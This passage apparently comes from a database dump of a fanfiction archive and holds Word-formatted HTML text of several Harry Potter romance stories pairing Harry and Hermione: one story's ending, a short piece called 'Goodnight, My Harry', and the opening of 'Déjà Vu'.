visible.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;H-Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry knew.&nbsp; The instant she had opened her eyes he had\nseen the spark in those beautiful brown orbs he hadn&#8217;t seen in four years.&nbsp; &#8220;Hermione?&#8221; he whispered, hope creeping back\ninto his voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry,&#8221; Hermione\nsaid, tears now flowing out of her revived eyes.&nbsp; &#8220;Harry, I can see.&nbsp; Oh\nHarry I can see!&#8221;&nbsp; She flung her arms\naround Harry cried tears of joy and kissed him deeply.&nbsp; After she pulled back and spent some time\nstudying his face before she looked up and glanced at a large mirror hanging on\nthe living room wall.&nbsp; A beautiful young\nwoman with long wavy brown hair and lively chocolate brown eyes stared back at\nher.&nbsp; Hermione couldn&#8217;t believe that she\nwas looking at her own face again, after all these years.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione&#8217;s eyes\nscanned the room, taking in everything from the white wallpaper and the aqua\ncarpet and the various pictures of her, Harry, and Ron on the walls.&nbsp; She saw a picture of their wedding day and\nwas finally able to marvel at how beautiful she had looked in the white wedding\ngown.&nbsp; Finally, her eyes rested on a\nsmall boy standing nearby, watching her with a curious expression on his\nface.&nbsp; He looked just like Harry,\nespecially the green eyes but his hair, though messy, had her brown color.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Jason?&#8221; she\nwhispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mommy?&nbsp; What are you doing?&nbsp; Why are you crying&#8221; the boy asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">More tears rolled\ndown as Hermione drew her son into a strong embrace.&nbsp; &#8220;Oh, you&#8217;re so beautiful,&#8221; she whispered, as sobs rocked her\nbody.&nbsp; But they were sobs of joy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry wiped a few\ntears out of his eyes as he also wrapped his arms around his wife and son.&nbsp; &#8220;Hermione, love, are you OK?&#8221; he whispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;ve never been\nbetter in my whole life,&#8221; Hermione whispered.&nbsp;\n&#8220;And its not going to end, right?&nbsp;\nIt&#8217;s going to happiness forever, right Harry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes it will be,&#8221;\nHarry said.&nbsp; &#8220;I love you, Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you too,\nHarry.&#8221;&nbsp; And from then on, it was\nhappily ever after.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\nThe End\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(50, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Goodnight,\nMy Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Disclaimer: I don&#8217;t own any of the characters from Harry\nPotter. They belong to J.K. Rowling. However, I do own the plot for this\nfanfic. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; Hermione Granger\nsat down in the Gryffindor common room, reading in a comfy chair near the fire.\nIt was Christmas at Hogwarts School of witchcraft and wizardry. Hermione was\none of the two girls who had stayed at Hogwarts for Christmas. Lavender Brown,\nHermione&#8217;s best friend, was the other girl who stayed. Normally Hermione went\nhome for Christmas holidays, however, this year, one of her best friends, Ron\nWeasley, was going to Romania to visit his brother Charlie. This meant that her\nother best friend, the famous boy-who-lived, Harry Potter, would be left on his\nown. She couldn&#8217;t let him stay by himself, so she decided to stay with him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Hermione smiled\nas she read her favourite book of all time; Hogwarts A History. She pulled her\nblanket tighter around herself, as she shifted into a more comfortable\nposition. Hermione was so intent on her book, that she didn&#8217;t hear the\nfootsteps coming down from the boy&#8217;s dormitory stairs. In fact, she wasn&#8217;t\naware of his presence until he said in a soft voice, &#8220;Hermione?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; She looked up at\nhim. Her heart nearly leapt from her chest at the sight of him. His raven-black\nhair was more unruly than ever, and his green eyes shone out from under his\nwire-rimed glasses. &#8220;Y-yes Harry?&#8221; She had been so focused on how handsome he\nhad looked, that she didn&#8217;t notice the look of fear, and sadness on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; He tried to\nanswer her, but he couldn&#8217;t find the words to tell her just how he felt. He had\nanother night-mare, and had to watch as Voldemort killed his mother and father.\nHe had woken up in a cold sweat, and needed to talk to someone, but his best\nfriend Ron wasn&#8217;t there, so he had come down to the common room, in hopes of\nfinding his other best friend, Hermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; She set her book\naside, and looked into his eyes. As if reading his mind she said,&nbsp; &#8220;You had another nightmare, didn&#8217;t you\nHarry?&#8221; She heard him whimper slightly, and Hermione reached her hand up to\ngently move his sweat-soaked bangs out of his face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled\ngently at him, and beaconed him to sit down on her lap. He nodded slightly, and\nsat down slowly. Hermione gently placed the blanket around him, and then\nwrapped her arms tightly around her friend. &#8220;Oh, Harry,&#8221; she whispered to him.\n&#8220;I&#8217;m so sorry, Harry.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I-I saw my\nmother.. and my father, and Voldemort.. I saw him kill them..&#8221; Harry trailed\noff, sobbing quietly. Hermione gently stroked his cheek, holding his head\nagainst her shoulder. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shh,\neverything&#8217;s ok now Harry,&#8221; she said softly to him, giving his hand a light squeeze.\n&#8220;I&#8217;m here Harry.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; She held him, as\nhe buried his head into her shoulder. One thing Hermione had always found\nappealing in him, was his sensitivity. He was so brave, dealing with his parents&#8217;\ndeath, and she had no idea how he coped with everything that happened to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; Hermione gently\nkissed the top of Harry&#8217;s head, and he looked up at her. Neither of them were\nsure about exactly what happened next, or who made the first move, but the next\nminute, they had their lips pressed firmly against one another. Hermione found\nherself kissing him tenderly. <i>I shouldn&#8217;t be doing this! </i>Her mind\nscreamed at her. Then a voice in her mind replied. <i>But he needs you. Only\nyou can help him. </i>She pushed her thoughts away, as she felt Harry respond\nto her kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; Harry wrapped\nhis arms tightly around Hermione, as he began to kiss her a little harder.\n&#8220;Hermione..&#8221; he moaned her name into her mouth. &#8220;Mmm.. Harry..&#8221; was her\nresponse. Both knew they shouldn&#8217;t, but it felt so good. Hermione felt Harry&#8217;s\ntongue sweep across her lips, and she opened her mouth for him, and slid her\ntongue along to meet his. As their kiss deepened, Hermione buried her hands in\nhis messy hair. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; She leaned him\nagainst the back of the chair, and shifted so she was sitting on his lap,\nstraddling him. Harry slowly removed his mouth from hers, and lightly kissed\nher neck. She felt him suck lightly on a sensitive part of her neck, between\nher collarbone and neck. &#8220;Harry.. Oh, Harry..&#8221; she moaned. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; Harry pulled\nback from her, and stared into her chocolate-brown eyes. Her hair was slightly\nmessed up, and her lips were red from the hard kisses they shared, though that\ndidn&#8217;t seem to bother her much. Slowly and gently, he raised his lips once more\nonto hers, this time gently touching them. Hermione leaned against him, and\nkissed back, just as gently. This kiss was slow, and passionate. Harry pulled\nback for a second, and then gave her another quick kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, I..,&#8221;\nHarry tried to get the words out. <i>I love you. </i>He thought, but he wasn&#8217;t\nable to tell her. &#8220;Thanks for uh,&#8221; he blushed slightly as he looked at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No problem\nHarry,&#8221; Hermione smiled, the scared, sad look had now faded from his face, and\nwas replaced with a look of peace. The sat for a long moment, just holding each\nother. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t tell Ron,\nHermione,&#8221; Harry said softly in her ear. His best friend had a crush on her,\nand knew that Ron would be crushed if he knew that they had kissed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why?&#8221; She\nasked, tilting her head to the side, looking into his green eyes. &#8220;Tell him\nwhat?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t tell him\nthat I kissed you, please don&#8217;t tell him Hermione,&#8221; Harry said in a voice, that\nwas almost begging. A scared look re-appeared on his face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I won&#8217;t Harry,\nbut.. why?&#8221; She looked confused, was Harry so embarrassed about kissing her,\nthat he didn&#8217;t want her to tell anyone? Was she that bad of a kisser? </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He-he&#8217;ll get\nmad at me,&#8221; Harry replied. He looked into her eyes, confusion clear on her\nface.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why would Ron\nbe mad about you kissing me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because he\nlikes you,&#8221; Harry replied. &#8220;He&#8217;ll be mad if he finds out I gave you your first\nkiss.&#8221; Harry saw Hermione&#8217;s confusion, and anger fade, a soft smile on her\nface. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Listen Harry, I\nwon&#8217;t tell Ron, because I don&#8217;t want the two of you to be fighting, but I don&#8217;t\ncare if Ron likes me Harry. If I want to kiss you, I will.&#8221; Harry looked kind\nof shocked and she added quickly, &#8220;That is if you want me to.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course I do,\nI like kissing you Hermione.&#8221; Hermione smiled at that, and hugged him, before\nshe gave him a quick kiss on his lips. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come on now\nHarry, let&#8217;s get you back up to bed,&#8221; she said, as she got up, and offered a\nhand to him. He took her hand and she took him up the steps, into the empty 5th\nyear dormitory. He lay down in bed, and Hermione pulled the covers over him.\nShe sat down next to him on the bed, and gently stroked his forehead, until his\nbreathing eased, and he fell asleep. She kissed him lightly on the cheek, and\nthen she walked over to the door and whispered, &#8220;Goodnight, my Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; She then left,\nand returned to her room, where she lay down, thoughts of her Harry Potter\nfloating into her mind, as she slowly slipped into a deep sleep.&nbsp;&nbsp;&nbsp;&nbsp; <i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(55, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Title: </b>D&#233;j&#224; Vu</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Summary: </b>In past lives Harry and Hermione were lovers now\nthey have to solve a 51 year old murder mystery that their past-selves began\nsolving&#8230; will they fall in love along the way&#8230; again? </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Ships: </b>Jonathon/Adelaide, Harry/Hermione </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Keywords: </b>Jonathon, Adelaide, Harry, Hermione, Josiah March,\nand past lives.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><b>Disclaimer:</b> I do not own any of the characters except the past\ncharacters (Josiah, Adelaide). JK Rowling takes credit for the other character.\nThe plot is my own with the help of Bookworm Sweetheart. </p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>Adelaide March knocked on the\ndoor of the private eye&#8217;s door sharply. She nervously played with a strand of\ncurly brown hair that had fallen out of her hairstyle. Just then a handsome man\nanswered the door with messy black hair and wearing tan slacks and a white\nbutton up shirt. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can\nI help you?&#8221; He asked. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Jonathon\nWard?&#8221; Adelaide asked, still twirling her hair.</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Aye,\nand who might you be?&#8221; Jonathon asked.&nbsp;&nbsp;&nbsp;&nbsp;\n</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Mrs. Josiah March- Adelaide March. I need your help.&#8221; Adelaide pleaded.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m\nnot in the private investigations business anymore, sorry.&#8221; He said, his eyes\nfull of sorrow.&nbsp; He began to shut the\ndoor. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt;text-indent:.5in"><i>&#8220;No! No! You don&#8217;t\nunderstand! I need your help!&#8221; She begged. He seemed to be a sucker for it\nbecause he opened the door wide enough for her to enter. Adelaide smiled\nslightly. &#8220;Thank you.&#8221; She took a seat on the opposite side of the desk.</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I\ncan&#8217;t make any promises. Tell me what the problem is anyway.&#8221; Jonathon said.\nAdelaide nodded and smoothed her dress nervously.</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;Well&#8230;&#8221;\nAdelaide began, &#8220;About 3 days ago, my husband, Josiah March, went missing. I\nthink he was kidnapped. He never would&#8217;ve left me. I need you to find him.\nPlease help.&#8221;&nbsp; Adelaide begged again. </i></p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;Josiah\nMarch&#8230; doesn&#8217;t he work in that law firm downtown? March, Johnson and Filler?&#8221;\nJonathon asked. Adelaide nodded.</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s\nwhere he works.&#8221; Adelaide said. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look,\nMrs. March&#8230; I&#8217;ll do what I can but like I told you I&#8217;m not in the business\nanymore.&#8221; Jonathon said. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;HERMIONE! WAKE UP!!!!!&#8221; Someone\nyelled. Hermione shook herself out of sleep. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wha- wha- what?&#8221; She yawned.\nShe looked to see who woke her up. It was Harry- of course. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re going to be late.&#8221; He\nsaid. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;WHAT!&#8221; She yelled, grabbing her\nwatch. &#8220;Great Wizards!&#8221; She jumped out\nof bed and ran to her dresser, grabbing jeans, a sweater and some standard\nrobes. She began to undress when she suddenly realized Harry was still there.\nShe turned bright red. &#8220;Harry! Were you even gunna a stop me?&#8221; She asked, her\nhand on her hip. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well&#8230; eventually&#8230;&#8221; He said\ncoyly. She glared at him, but a smile still remained at her lips. She pushed\nhim out of the room, and then proceeded to get ready for class. </p>\n\n<p class="MsoBodyText2" style="margin-top:0in;margin-right:30.0pt;margin-bottom:\n0in;margin-left:.5in;margin-bottom:.0001pt">&nbsp;</p>\n\n<p 